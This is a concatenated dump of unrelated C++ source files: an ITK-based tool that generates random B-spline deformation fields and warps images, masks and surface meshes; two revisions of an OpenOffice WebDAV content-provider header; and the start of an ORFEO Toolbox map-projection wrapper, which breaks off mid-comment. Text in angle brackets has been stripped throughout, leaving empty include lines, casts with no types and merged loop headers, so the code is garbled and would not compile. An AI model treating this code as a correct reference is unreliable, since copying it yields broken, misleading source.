);\n\t\twrp->SetDisplacementField( field );\n\t\twrp->Update();\n\t\tmask = wrp->GetOutput();\n\n\t\tmask->SetDirection( ref_dir );\n\t\tmask->SetOrigin( ref_orig );\n\n\t\ttypename MaskWriter::Pointer wm = MaskWriter::New();\n\t\twm->SetInput( mask );\n\t\twm->SetFileName( (outPrefix + \"_mask_warped.nii.gz\").c_str() );\n\t\twm->Update();\n\t}\n\n\t\/\/ Read and transform images if present\n\tfor( size_t i = 0; iSetFileName( fixedImageNames[i] );\n\t\tr->Update();\n\n\t\ttypename ChannelType::Pointer im = r->GetOutput();\n\t\tim->SetDirection( int_dir );\n\t\tim->SetOrigin( int_orig );\n\n\t\tWarpFilterPointer wrp = WarpFilter::New();\n\t\twrp->SetInterpolator( WarpInterpolator::New() );\n\t\twrp->SetOutputParametersFromImage( im );\n\t\twrp->SetInput( im );\n\t\twrp->SetDisplacementField( field );\n\t\twrp->Update();\n\n\t\tThresholdPointer th = ThresholdFilter::New();\n\t\tth->SetInput( wrp->GetOutput() );\n\t\tth->ThresholdBelow( 0.0 );\n\t\tth->SetOutsideValue( 0.0 );\n\t\tth->Update();\n\n\t\ttypename ChannelType::Pointer im_wrp = th->GetOutput();\n\t\tim_wrp->SetDirection( ref_dir );\n\t\tim_wrp->SetOrigin( ref_orig );\n\n\t\tif (mask.IsNotNull() && vm.count(\"mask-inputs\")) {\n\t\t\ttypename MaskFilter::Pointer mm = MaskFilter::New();\n\t\t\tmm->SetMaskImage( mask );\n\t\t\tmm->SetInput( im_wrp );\n\t\t\tmm->Update();\n\t\t\tim_wrp = mm->GetOutput();\n\t\t}\n\n\t\tss.str(\"\");\n\t\tss << outPrefix << \"_warped_\" << i << \".nii.gz\";\n\t\tw->SetInput( im_wrp );\n\t\tw->SetFileName( ss.str().c_str() );\n\t\tw->Update();\n\t}\n\n\n\t\/\/ Warp surfaces --------------------------------------------------\n\tDisplacementFieldTransformPointer tf_inv = DisplacementFieldTransformType::New();\n\ttf_inv->SetDisplacementField( transform->GetInverseDisplacementField() );\n\n\tfor( size_t i = 0; iSetFileName( movingSurfaceNames[i] );\n\t\tr->Update();\n\n\t\tMeshPointer mesh = r->GetOutput();\n\n\t\tPointsIterator p_it = mesh->GetPoints()->Begin();\n\t\tPointsIterator p_end = mesh->GetPoints()->End();\n\n\t\tMeshPointType p;\n\t\twhile ( p_it!=p_end ) {\n\t\t\tp = p_it.Value();\n\t\t\tp_it.Value() = tf_inv->TransformPoint( p );\n\t\t\t++p_it;\n\t\t}\n\n\t\tMeshWriterPointer wmesh = MeshWriterType::New();\n\t\tss.str(\"\");\n\t\tss << outPrefix << \"_warped_\" << i << \".vtk\";\n\t\twmesh->SetFileName( ss.str().c_str() );\n\t\twmesh->SetInput( mesh );\n\t\twmesh->Update();\n\t}\n}\nA working workflow with transforms\/\/ --------------------------------------------------------------------------------------\n\/\/ File: bspline_field.cxx\n\/\/ Date: Mar 5, 2014\n\/\/ Author: code@oscaresteban.es (Oscar Esteban)\n\/\/ Version: 1.0 beta\n\/\/ License: GPLv3 - 29 June 2007\n\/\/ Short Summary:\n\/\/ --------------------------------------------------------------------------------------\n\/\/\n\n#include \"bspline_field.h\"\n\n#include \n#include \n#include \n\n\nint main(int argc, char *argv[]) {\n\tstd::string outPrefix = \"\";\n\tstd::string maskfile;\n\tstd::vector< std::string > fixedImageNames, movingSurfaceNames,coefficientImageNames;\n\tstd::vector grid_size;\n\n\tbpo::options_description all_desc(\"Usage\");\n\tall_desc.add_options()\n\t\t\t(\"help,h\", \"show help message\")\n\t\t\t(\"coeff-images,C\", bpo::value < std::vector > (&coefficientImageNames )->multitoken(), \"coefficient image(s)\" )\n\t\t\t(\"images,I\", bpo::value < std::vector\t> (&fixedImageNames)->multitoken()->required(), \"fixed image file\")\n\t\t\t(\"surfaces,S\", bpo::value < std::vector\t> (&movingSurfaceNames)->multitoken(),\t\"moving image file\")\n\t\t\t(\"mask,M\", bpo::value< std::string >(&maskfile), \"mask file\" )\n\t\t\t(\"output-prefix,o\", bpo::value < std::string > (&outPrefix), \"prefix for output files\")\n\t\t\t(\"num-threads\", bpo::value < unsigned int >()->default_value(NUM_THREADS), \"use num-threads\")\n\t\t\t(\"grid-size,g\", bpo::value< std::vector >(&grid_size)->multitoken(), \"size of grid of bspline control points (default is 10x10x10)\")\n\t\t\t(\"mask-inputs\", bpo::bool_switch(), \"use deformed mask to filter input files\");\n\n\tbpo::variables_map vm;\n\n\ttry {\n\t\tbpo::store(\tbpo::parse_command_line( argc, argv, all_desc ), vm);\n\n\t\tif (vm.count(\"help\")) {\n\t\t\tstd::cout << all_desc << std::endl;\n\t\t\treturn 1;\n\t\t}\n\n\t\tbpo::notify(vm);\n\t} catch ( bpo::error& e ) {\n\t\tstd::cerr << \"Error: \" << e.what() << std::endl << std::endl;\n\t\tstd::cerr << all_desc << std::endl;\n\t\treturn 1;\n\t}\n\n\tReaderPointer readref = ReaderType::New();\n\treadref->SetFileName( fixedImageNames[0] );\n\treadref->Update();\n\tChannelPointer ref = readref->GetOutput();\n\ttypename ChannelType::DirectionType ref_dir(ref->GetDirection());\n\ttypename ChannelType::PointType ref_orig = ref->GetOrigin();\n\n\ttypename ChannelType::DirectionType itk;\n\titk.SetIdentity();\n\titk(0,0)=-1.0;\n\titk(1,1)=-1.0;\n\n\ttypename ChannelType::DirectionType int_dir(itk * ref_dir);\n\ttypename ChannelType::PointType int_orig( itk * ref_orig );\n\tref->SetDirection( int_dir );\n\tref->SetOrigin( int_orig );\n\n\ttypename CoefficientsType::SizeType size;\n\ttypename CoefficientsType::SpacingType spacing;\n\n\tsize.Fill(10);\n\tCoefficientsImageArray coeffs;\n\n\tTPointer transform = Transform::New();\n\n#ifndef NDEBUG\n\ttransform->SetNumberOfThreads( 2 );\n#endif\n\n\tif (vm.count(\"coeff-images\")) {\n\t\tstd::cout << \"coefficient images mode not implemented\" << std::endl;\n\t\t\/\/ set size\n\t\treturn 0;\n\t} else {\n\t\tif( vm.count(\"grid-size\") ){\n\t\t\tif( grid_size.size() == 1 ) {\n\t\t\t\tsize.Fill( grid_size[0] );\n\t\t\t}\n\t\t\telse if ( grid_size.size() == DIMENSION ) {\n\t\t\t\tfor( size_t i = 0; i < DIMENSION; i++) size[i] = grid_size[i];\n\t\t\t}\n\t\t\telse {\n\t\t\t\tstd::cout << \"error with grid size\" << std::endl;\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t}\n\n\t\ttransform->SetControlPointsSize( size );\n\t\ttransform->SetPhysicalDomainInformation( ref );\n\t\ttransform->SetOutputReference( ref );\n\t\ttransform->UpdateField();\n\t\tcoeffs = transform->GetCoefficientsImages();\n\t\tspacing = coeffs[0]->GetSpacing();\n\t\tsize_t numPix = coeffs[0]->GetLargestPossibleRegion().GetNumberOfPixels();\n\n\t\ttypename CoefficientsType::RegionType region;\n\t\ttypename CoefficientsType::IndexType start;\n\t\ttypename CoefficientsType::SizeType regionSize;\n\n\t\tfor( size_t i = 0; i( floor( size[i] * 0.35 + 0.5f ) ) -1;\n\t\t\tregionSize[i] = size[i] - 2.0 * start[i];\n\t\t}\n\t\tregion.SetIndex( start );\n\t\tregion.SetSize( regionSize );\n\n\t\tfor( size_t i = 0; i< DIMENSION; i++) {\n\t\t\tRandomIterator rndit( coeffs[i], region );\n#ifdef NDEBUG\n\t\t\trndit.ReinitializeSeed();\n#endif\n\t\t\trndit.SetNumberOfSamples( static_cast( floor( numPix * 0.08 + 0.5f ) ) );\n\n\t\t\tfor(rndit.GoToBegin(); !rndit.IsAtEnd(); ++rndit){\n\t\t\t\tfloat r = -1.0 + static_cast (rand()) \/( static_cast (RAND_MAX\/2.0));\n\t\t\t\trndit.Set( r );\n\t\t\t}\n\n\t\t\tSigmaArrayType sigma;\n\t\t\tsigma.Fill(12.0);\n\n\t\t\tSmoothingFilterPointer s = SmoothingFilterType::New();\n\t\t\ts->SetInput( coeffs[i] );\n\t\t\ts->SetSigmaArray( sigma );\n\t\t\ts->Update();\n\t\t\tcoeffs[i] = s->GetOutput();\n\n\t\t\tScalarType *buff = coeffs[i]->GetBufferPointer();\n\t\t\tstd::vector< ScalarType > sample;\n\n\t\t\tfor( size_t j = 0; j < numPix; j++ ) {\n\t\t\t\tsample.push_back( *(buff + j) );\n\t\t\t}\n\n\t\t\tstd::sort( sample.begin(), sample.end() );\n\n\t\t\tSubtractPointer sub = SubtractFilter::New();\n\t\t\tsub->SetInput1( coeffs[i] );\n\t\t\tsub->SetConstant( sample[ static_cast( floor( 0.5 * numPix + 0.5f ) ) ] );\n\t\t\tsub->Update();\n\t\t\tcoeffs[i] = sub->GetOutput();\n\n\t\t\tMaxCalcPointer max = MaxCalc::New();\n\t\t\tmax->SetImage( coeffs[i] );\n\t\t\tmax->Compute();\n\n\t\t\tfloat immax = max->GetMaximum();\n\t\t\tif ( fabs( max->GetMinimum() ) > fabs(immax) ) {\n\t\t\t\timmax = fabs( max->GetMinimum() );\n\t\t\t}\n\n\t\t\tfloat scale = (spacing[i] * 0.35) \/ immax;\n\n\t\t\tMultiplyPointer m = MultiplyFilter::New();\n\t\t\tm->SetInput1( coeffs[i] );\n\t\t\tm->SetConstant( scale );\n\t\t\tm->Update();\n\t\t\tcoeffs[i] = m->GetOutput();\n\n\t\t\tCoefficientsWriterPointer w = CoefficientsWriterType::New();\n\t\t\tstd::stringstream ss;\n\t\t\tss << outPrefix << \"_coeffs_\" << i << \".nii.gz\";\n\t\t\tw->SetFileName( ss.str().c_str() );\n\t\t\tw->SetInput( coeffs[i] );\n\t\t\tw->Update();\n\t\t}\n\t}\n\n\t\/\/ Set coefficients\n\ttransform->SetCoefficientsImages( coeffs );\n\ttransform->UpdateField();\n\n\ttypename ComponentsWriter::Pointer f = ComponentsWriter::New();\n\tstd::stringstream ss;\n\tss << outPrefix << \"_field\";\n\tf->SetFileName( ss.str().c_str() );\n\tf->SetInput( transform->GetField() );\n\tf->Update();\n\n\n\ttransform->Interpolate();\n\n\n\ttypename FieldType::Pointer field = transform->GetDisplacementField();\n\ttypename FieldWriter::Pointer ff = FieldWriter::New();\n\tff->SetInput( field );\n\tff->SetFileName( (outPrefix + \"_dispfield.nii.gz\").c_str() );\n\tff->Update();\n\n\t\/\/ Read and transform mask, if present\n\tMaskPointer mask;\n\n\tif (vm.count( \"mask\" ) ) {\n\t\ttypename ReaderType::Pointer rmask = ReaderType::New();\n\t\trmask->SetFileName( maskfile );\n\t\trmask->Update();\n\n\t\ttypename ChannelType::Pointer im = rmask->GetOutput();\n\t\tim->SetDirection( int_dir );\n\t\tim->SetOrigin( int_orig );\n\n\t\ttypename Binarize::Pointer bin = Binarize::New();\n\t\tbin->SetInput( im );\n\t\tbin->SetLowerThreshold( 0.01 );\n\t\tbin->SetOutsideValue( 0 );\n\t\tbin->SetInsideValue( 1 );\n\t\tbin->Update();\n\n\t\tWarpMaskFilterPointer wrp = WarpMaskFilter::New();\n\t\twrp->SetInterpolator( WarpMaskInterpolator::New() );\n\t\twrp->SetOutputParametersFromImage( bin->GetOutput() );\n\t\twrp->SetInput( bin->GetOutput() );\n\t\twrp->SetDisplacementField( field );\n\t\twrp->Update();\n\t\tmask = wrp->GetOutput();\n\n\t\tmask->SetDirection( ref_dir );\n\t\tmask->SetOrigin( ref_orig );\n\n\t\ttypename MaskWriter::Pointer wm = MaskWriter::New();\n\t\twm->SetInput( mask );\n\t\twm->SetFileName( (outPrefix + \"_mask_warped.nii.gz\").c_str() );\n\t\twm->Update();\n\t}\n\n\t\/\/ Read and transform images if present\n\tfor( size_t i = 0; iSetFileName( fixedImageNames[i] );\n\t\tr->Update();\n\n\t\ttypename ChannelType::Pointer im = r->GetOutput();\n\t\tim->SetDirection( int_dir );\n\t\tim->SetOrigin( int_orig );\n\n\t\tWarpFilterPointer wrp = WarpFilter::New();\n\t\twrp->SetInterpolator( WarpInterpolator::New() );\n\t\twrp->SetOutputParametersFromImage( im );\n\t\twrp->SetInput( im );\n\t\twrp->SetDisplacementField( field );\n\t\twrp->Update();\n\n\t\tThresholdPointer th = ThresholdFilter::New();\n\t\tth->SetInput( wrp->GetOutput() );\n\t\tth->ThresholdBelow( 0.0 );\n\t\tth->SetOutsideValue( 0.0 );\n\t\tth->Update();\n\n\t\ttypename ChannelType::Pointer im_wrp = th->GetOutput();\n\t\tim_wrp->SetDirection( ref_dir );\n\t\tim_wrp->SetOrigin( ref_orig );\n\n\t\tif (mask.IsNotNull() && (vm.count(\"mask-inputs\") && vm[\"mask-inputs\"].as() ) ) {\n\t\t\ttypename MaskFilter::Pointer mm = MaskFilter::New();\n\t\t\tmm->SetMaskImage( mask );\n\t\t\tmm->SetInput( im_wrp );\n\t\t\tmm->Update();\n\t\t\tim_wrp = mm->GetOutput();\n\t\t}\n\n\t\tss.str(\"\");\n\t\tss << outPrefix << \"_warped_\" << i << \".nii.gz\";\n\t\tw->SetInput( im_wrp );\n\t\tw->SetFileName( ss.str().c_str() );\n\t\tw->Update();\n\t}\n\n\n\t\/\/ Warp surfaces --------------------------------------------------\n\tDisplacementFieldTransformPointer tf_inv = DisplacementFieldTransformType::New();\n\ttf_inv->SetDisplacementField( transform->GetInverseDisplacementField() );\n\n\tfor( size_t i = 0; iSetFileName( movingSurfaceNames[i] );\n\t\tr->Update();\n\n\t\tMeshPointer mesh = r->GetOutput();\n\n\t\tPointsIterator p_it = mesh->GetPoints()->Begin();\n\t\tPointsIterator p_end = mesh->GetPoints()->End();\n\n\t\tMeshPointType p;\n\t\twhile ( p_it!=p_end ) {\n\t\t\tp = p_it.Value();\n\t\t\tp_it.Value() = tf_inv->TransformPoint( p );\n\t\t\t++p_it;\n\t\t}\n\n\t\tMeshWriterPointer wmesh = MeshWriterType::New();\n\t\tss.str(\"\");\n\t\tss << outPrefix << \"_warped_\" << i << \".vtk\";\n\t\twmesh->SetFileName( ss.str().c_str() );\n\t\twmesh->SetInput( mesh );\n\t\twmesh->Update();\n\t}\n}\n<|endoftext|>"} {"text":"\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: webdavprovider.hxx,v $\n *\n * $Revision: 1.8 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 16:17:04 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _WEBDAV_UCP_PROVIDER_HXX\n#define _WEBDAV_UCP_PROVIDER_HXX\n\n#ifndef _RTL_REF_HXX_\n#include \n#endif\n\n#ifndef _COM_SUN_STAR_BEANS_PROPERTY_HPP_\n#include \n#endif\n\n#ifndef _DAVSESSIONFACTORY_HXX_\n#include \"DAVSessionFactory.hxx\"\n#endif\n\n#ifndef _UCBHELPER_PROVIDERHELPER_HXX\n#include \n#endif\n\n#ifndef _WEBDAV_UCP_PROPERTYMAP_HXX\n#include \"PropertyMap.hxx\"\n#endif\n\nnamespace webdav_ucp {\n\n\/\/=========================================================================\n\n\/\/ UNO service name for the provider. This name will be used by the UCB to\n\/\/ create instances of the provider.\n#define WEBDAV_CONTENT_PROVIDER_SERVICE_NAME \\\n \"com.sun.star.ucb.WebDAVContentProvider\"\n#define WEBDAV_CONTENT_PROVIDER_SERVICE_NAME_LENGTH 38\n\n\/\/ URL scheme. This is the scheme the provider will be able to create\n\/\/ contents for. The UCB will select the provider ( i.e. in order to create\n\/\/ contents ) according to this scheme.\n#define WEBDAV_URL_SCHEME \\\n \"vnd.sun.star.webdav\"\n#define WEBDAV_URL_SCHEME_LENGTH 19\n\n#define HTTP_URL_SCHEME \"http\"\n#define HTTP_URL_SCHEME_LENGTH 4\n\n#define HTTPS_URL_SCHEME \"https\"\n#define HTTPS_URL_SCHEME_LENGTH 5\n\n#define FTP_URL_SCHEME \"ftp\"\n\n#define HTTP_CONTENT_TYPE \\\n \"application\/\" HTTP_URL_SCHEME \"-content\"\n\n#define WEBDAV_CONTENT_TYPE HTTP_CONTENT_TYPE\n#define WEBDAV_COLLECTION_TYPE \\\n \"application\/\" WEBDAV_URL_SCHEME \"-collection\"\n\n\/\/=========================================================================\n\nclass ContentProvider : public ::ucb::ContentProviderImplHelper\n{\n rtl::Reference< DAVSessionFactory > m_xDAVSessionFactory;\n PropertyMap * m_pProps;\n\npublic:\n ContentProvider( const ::com::sun::star::uno::Reference<\n ::com::sun::star::lang::XMultiServiceFactory >& rSMgr );\n virtual ~ContentProvider();\n\n \/\/ XInterface\n XINTERFACE_DECL()\n\n \/\/ XTypeProvider\n XTYPEPROVIDER_DECL()\n\n \/\/ XServiceInfo\n XSERVICEINFO_DECL()\n\n \/\/ XContentProvider\n virtual ::com::sun::star::uno::Reference<\n ::com::sun::star::ucb::XContent > SAL_CALL\n queryContent( const ::com::sun::star::uno::Reference<\n ::com::sun::star::ucb::XContentIdentifier >& Identifier )\n throw( ::com::sun::star::ucb::IllegalIdentifierException,\n ::com::sun::star::uno::RuntimeException );\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Additional interfaces\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Non-interface methods.\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n rtl::Reference< DAVSessionFactory > getDAVSessionFactory()\n { return m_xDAVSessionFactory; }\n\n bool getProperty( const ::rtl::OUString & rPropName,\n ::com::sun::star::beans::Property & rProp,\n bool bStrict = false );\n};\n\n}\n\n#endif\nINTEGRATION: CWS bgdlremove (1.8.108); FILE MERGED 2007\/05\/18 11:37:19 kso 1.8.108.1: #i77419# - cleanup of ucbhelper namespaces.\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: webdavprovider.hxx,v $\n *\n * $Revision: 1.9 $\n *\n * last change: $Author: ihi $ $Date: 2007-06-05 18:22:16 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _WEBDAV_UCP_PROVIDER_HXX\n#define _WEBDAV_UCP_PROVIDER_HXX\n\n#ifndef _RTL_REF_HXX_\n#include \n#endif\n\n#ifndef _COM_SUN_STAR_BEANS_PROPERTY_HPP_\n#include \n#endif\n\n#ifndef _DAVSESSIONFACTORY_HXX_\n#include \"DAVSessionFactory.hxx\"\n#endif\n\n#ifndef _UCBHELPER_PROVIDERHELPER_HXX\n#include \n#endif\n\n#ifndef _WEBDAV_UCP_PROPERTYMAP_HXX\n#include \"PropertyMap.hxx\"\n#endif\n\nnamespace webdav_ucp {\n\n\/\/=========================================================================\n\n\/\/ UNO service name for the provider. This name will be used by the UCB to\n\/\/ create instances of the provider.\n#define WEBDAV_CONTENT_PROVIDER_SERVICE_NAME \\\n \"com.sun.star.ucb.WebDAVContentProvider\"\n#define WEBDAV_CONTENT_PROVIDER_SERVICE_NAME_LENGTH 38\n\n\/\/ URL scheme. This is the scheme the provider will be able to create\n\/\/ contents for. The UCB will select the provider ( i.e. in order to create\n\/\/ contents ) according to this scheme.\n#define WEBDAV_URL_SCHEME \\\n \"vnd.sun.star.webdav\"\n#define WEBDAV_URL_SCHEME_LENGTH 19\n\n#define HTTP_URL_SCHEME \"http\"\n#define HTTP_URL_SCHEME_LENGTH 4\n\n#define HTTPS_URL_SCHEME \"https\"\n#define HTTPS_URL_SCHEME_LENGTH 5\n\n#define FTP_URL_SCHEME \"ftp\"\n\n#define HTTP_CONTENT_TYPE \\\n \"application\/\" HTTP_URL_SCHEME \"-content\"\n\n#define WEBDAV_CONTENT_TYPE HTTP_CONTENT_TYPE\n#define WEBDAV_COLLECTION_TYPE \\\n \"application\/\" WEBDAV_URL_SCHEME \"-collection\"\n\n\/\/=========================================================================\n\nclass ContentProvider : public ::ucbhelper::ContentProviderImplHelper\n{\n rtl::Reference< DAVSessionFactory > m_xDAVSessionFactory;\n PropertyMap * m_pProps;\n\npublic:\n ContentProvider( const ::com::sun::star::uno::Reference<\n ::com::sun::star::lang::XMultiServiceFactory >& rSMgr );\n virtual ~ContentProvider();\n\n \/\/ XInterface\n XINTERFACE_DECL()\n\n \/\/ XTypeProvider\n XTYPEPROVIDER_DECL()\n\n \/\/ XServiceInfo\n XSERVICEINFO_DECL()\n\n \/\/ XContentProvider\n virtual ::com::sun::star::uno::Reference<\n ::com::sun::star::ucb::XContent > SAL_CALL\n queryContent( const ::com::sun::star::uno::Reference<\n ::com::sun::star::ucb::XContentIdentifier >& Identifier )\n throw( ::com::sun::star::ucb::IllegalIdentifierException,\n ::com::sun::star::uno::RuntimeException );\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Additional interfaces\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Non-interface methods.\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n rtl::Reference< DAVSessionFactory > getDAVSessionFactory()\n { return m_xDAVSessionFactory; }\n\n bool getProperty( const ::rtl::OUString & rPropName,\n ::com::sun::star::beans::Property & rProp,\n bool bStrict = false );\n};\n\n}\n\n#endif\n<|endoftext|>"} {"text":"\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#include \"otbMapProjectionWrapper.h\"\n\n#include \n\n#include \"otbMacro.h\"\n#include \"otbUtils.h\"\n\n#include \"projection\/ossimMapProjection.h\"\n#include \"projection\/ossimMapProjectionFactory.h\"\n#include \"projection\/ossimMapProjection.h\"\n#include \"base\/ossimGpt.h\"\n#include \"base\/ossimDpt.h\"\n#include \"projection\/ossimProjection.h\"\n#include \"base\/ossimEllipsoid.h\"\n#include \"base\/ossimEllipsoidFactory.h\"\n#include \"base\/ossimString.h\"\n#include \"gdal\/ossimOgcWktTranslator.h\"\n\n#include \"projection\/ossimUtmProjection.h\"\n#include \"projection\/ossimLambertConformalConicProjection.h\"\n#include \"projection\/ossimTransMercatorProjection.h\"\n\nnamespace otb\n{\n\nMapProjectionWrapper::MapProjectionWrapper():\n m_MapProjection(NULL), m_ProjectionRefWkt(\"\"), m_ReinstanciateProjection(true)\n{\n}\n\nMapProjectionWrapper::~MapProjectionWrapper()\n{\n if (m_MapProjection != NULL)\n {\n delete m_MapProjection;\n }\n}\n\nMapProjectionWrapper::InternalMapProjectionPointer MapProjectionWrapper::GetMapProjection()\n{\n itkDebugMacro(\"returning MapProjection address \" << this->m_MapProjection);\n if ((m_ReinstanciateProjection) || (m_MapProjection == NULL))\n {\n this->InstanciateProjection();\n }\n\n return this->m_MapProjection;\n}\n\nMapProjectionWrapper::InternalMapProjectionConstPointer MapProjectionWrapper::GetMapProjection() const\n{\n itkDebugMacro(\"returning MapProjection address \" << this->m_MapProjection);\n if ((m_ReinstanciateProjection) || (m_MapProjection == NULL))\n {\n itkExceptionMacro(<< \"m_MapProjection not up-to-date, call InstanciateProjection() first\");\n }\n\n return this->m_MapProjection;\n}\n\nstd::string MapProjectionWrapper::GetWkt() const\n{\n ossimKeywordlist kwl;\n this->GetMapProjection();\n if (m_MapProjection == NULL)\n {\n return \"\";\n }\n m_MapProjection->saveState(kwl);\n ossimOgcWktTranslator wktTranslator;\n std::string wkt;\n wkt = wktTranslator.fromOssimKwl(kwl);\n return wkt;\n}\n\nvoid MapProjectionWrapper::SetWkt(std::string projectionRefWkt)\n{\n this->m_ProjectionRefWkt = projectionRefWkt;\n m_ReinstanciateProjection = true;\n this->InstanciateProjection(); \/\/Should not be needed, but it is...\n this->Modified();\n}\n\nvoid MapProjectionWrapper::SetParameter(std::string key, std::string value)\n{\n m_ParameterStore[key] = value;\n m_ReinstanciateProjection = true;\n this->InstanciateProjection(); \/\/Should not be needed, but it is...\n this->Modified();\n}\n\nstd::string MapProjectionWrapper::GetParameter(std::string key) const\n{\n \/\/ Please refer to the note in the header filer\n \/\/ we do NOT want to read from m_ParameterStore here!\n\n std::string projectionName = this->GetMapProjection()->getClassName();\n\n \/\/ Start by matching generic parameters\n const ossimMapProjection* projection = dynamic_cast(this->GetMapProjection());\n if (key.compare(\"Origin\") == 0)\n {\n return Utils::ConvertToString(projection->origin());\n }\n if (key.compare(\"FalseNorthing\") == 0)\n {\n return Utils::ConvertToString(projection->getFalseNorthing());\n }\n if (key.compare(\"FalseEasting\") == 0)\n {\n return Utils::ConvertToString(projection->getFalseEasting());\n }\n if (key.compare(\"StandardParallel1\") == 0)\n {\n return Utils::ConvertToString(projection->getStandardParallel1());\n }\n if (key.compare(\"StandardParallel2\") == 0)\n {\n return Utils::ConvertToString(projection->getStandardParallel2());\n }\n if (key.compare(\"A\") == 0)\n {\n return Utils::ConvertToString(projection->getA());\n }\n if (key.compare(\"B\") == 0)\n {\n return Utils::ConvertToString(projection->getB());\n }\n if (key.compare(\"F\") == 0)\n {\n return Utils::ConvertToString(projection->getF());\n }\n if (key.compare(\"MetersPerPixel\") == 0)\n {\n return Utils::ConvertToString(projection->getMetersPerPixel());\n }\n if (key.compare(\"DecimalDegreesPerPixel\") == 0)\n {\n return Utils::ConvertToString(projection->getDecimalDegreesPerPixel());\n }\n\n \/\/ Apply parameters to transmercator\n if (projectionName.compare(\"ossimTransMercatorProjection\") == 0)\n {\n const ossimTransMercatorProjection* projection = dynamic_cast(this->GetMapProjection());\n if (key.compare(\"ScaleFactor\") == 0)\n {\n return Utils::ConvertToString(projection->getScaleFactor());\n }\n }\n\n \/\/ Apply parameters to Utm\n if (projectionName.compare(\"ossimUtmProjection\") == 0)\n {\n const ossimUtmProjection* projection = dynamic_cast(this->GetMapProjection());\n if (key.compare(\"Zone\") == 0)\n {\n return Utils::ConvertToString(projection->getZone());\n }\n if (key.compare(\"Hemisphere\") == 0)\n {\n return Utils::ConvertToString(projection->getHemisphere());\n }\n }\n\n return \"\";\n}\n\nbool MapProjectionWrapper::InstanciateProjection()\n{\n if ((this->m_ReinstanciateProjection) || (m_MapProjection == NULL))\n {\n ossimKeywordlist kwl;\n ossimOgcWktTranslator wktTranslator;\n\n bool projectionInformationAvailable = wktTranslator.toOssimKwl(m_ProjectionRefWkt, kwl);\n\n if (projectionInformationAvailable)\n {\n \/\/we don't want to have a ossimEquDistCylProjection here:\n \/\/see discussion in May 2009 